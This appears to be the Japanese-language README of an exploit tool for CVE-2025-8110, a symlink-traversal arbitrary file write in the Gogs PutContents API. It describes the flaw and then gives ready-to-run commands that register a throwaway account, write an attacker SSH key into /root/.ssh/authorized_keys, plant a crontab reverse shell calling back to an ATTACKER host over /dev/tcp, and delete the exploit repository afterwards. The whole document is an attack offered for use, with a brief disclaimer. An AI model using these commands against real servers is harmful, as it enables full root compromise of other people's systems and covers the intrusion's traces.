
CVE-2025-8110 — Gogs <= 0.13.3 シンボリックリンクトラバーサルを利用した任意ファイル書き込み(PutContents API)
Gogs <= 0.13.3 は、PutContents API (/api/v1/repos/:owner/:repo/contents/:path) を介した任意ファイル書き込みに対して脆弱です。
API はディレクトリトラバーサルシーケンス (../) に対してファイルパスを検証しますが、書き込み前にシンボリックリンクを解決しません。認証済みユーザーは、サーバー上の任意のファイルを指すシンボリックリンクを含むコミットをプッシュし、そのシンボリックリンクに対して PutContents を呼び出すことで、攻撃者が制御するコンテンツでターゲットファイルを上書きできます。
Gogs が root として実行されている場合(Docker や多くのデプロイメントではデフォルト)、これによりシステム全体が危険にさらされます。
| 詳細 | 値 |
|---|---|
| CVE | CVE-2025-8110 |
| 影響を受けるバージョン | Gogs <= 0.13.3 |
| タイプ | 認証済み任意ファイル書き込み → RCE |
| CVSS | 8.8 (高) |
| コンポーネント | PutContents API |
requests (pip install requests)git CLI# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys)を指すシンボリックリンクを作成し、コミットしてプッシュします。root)として実際のファイルに書き込みます。--url Gogs のベース URL(例:http://target:3001)
-u, --user Gogs ユーザー名
-p, --password Gogs パスワード
--register 使い捨てアカウントを自己登録(キャプチャなし)
--target-file サーバー上で上書きする絶対パス
--content 書き込む文字列コンテンツ
--content-file 内容を書き込むローカルファイル
--repo 作成するリポジトリ名(デフォルト:ランダム)
--link-name リポジトリ内のシンボリックリンクファイル名(デフォルト:payload)
--cleanup 書き込み後にエクスプロイトリポジトリを削除
このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。